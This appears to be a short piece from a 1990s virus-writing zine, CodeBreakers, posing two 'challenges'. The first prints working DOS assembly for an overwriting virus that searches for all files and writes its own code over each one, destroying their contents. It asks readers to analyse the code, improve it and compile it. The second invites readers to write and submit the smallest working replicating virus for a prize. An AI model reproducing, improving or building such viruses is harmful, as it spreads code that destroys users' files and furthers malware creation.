home *** CD-ROM | disk | FTP | other *** search
- Challenge
- By
- Horny Toad
-
- 1. Beginner's Challenge: Armed with the knowledge that you have from the toad instructional
- virus, try to find out how this virus (below) differs from the toad virus. Start first with what you
- already know. Mark off the sections that are familiar and construct a flow chart for what the
- virus does. Ask yourself, "What type of files does it infect?" How many files will it infect? What
- is the outcome? What is the main problem with this code and how would you improve it? There
- are many mistakes in this code. In the next issue of the mag, I will discuss the answers to the
- quiz and also comment out the problems with the below code. If you choose to compile it, make
- sure that you keep it confined to an isolated directory. There is no directory transversal or
- resident routines, so you will not have to worry about it getting loose. Have fun!
-
- code segment
- assume ds:code,cs:code
- org 100h
-
- virus_start equ $
-
- start:
- mov dx,offset file_type
- mov ah,4eh
-
- infect:
- int 21h
- mov ax,3d02h
- mov dx,9eh
- int 21h
- mov bx,ax
- mov cx,virus_length
- mov dx,100h
- mov ah,40h
- int 21h
- mov ah,3eh
- int 21h
-
- find_next_file:
- mov ah,4fh
- jmp infect
-
- file_type db '*.*',0
- virus_end equ $
- virus_length = virus_end - virus_start ;length of virus
-
- code ends
-
- end start
-
-
-
-
-
-
- 2. Intermediate Challenge: Write the smallest assembly virus possible. The only rules are that it
- replicate and work! Submit your entries to me. Please include source and assembled code, along
- with the assembler/linker instructions and what version of assembler/linker you are using. You
- can get in touch with me on the CodeBreakers site. The winner and runner-up will have their
- code published in the CodeBreakers mag and receive life-long subscriptions to the CodeBreakers
- mag. Good luck! (By the way, the current record to beat is SPo0ky at 27 bytes! You can
- download his code at the "Member's Files" section of the Codebreakers site)
-
-
-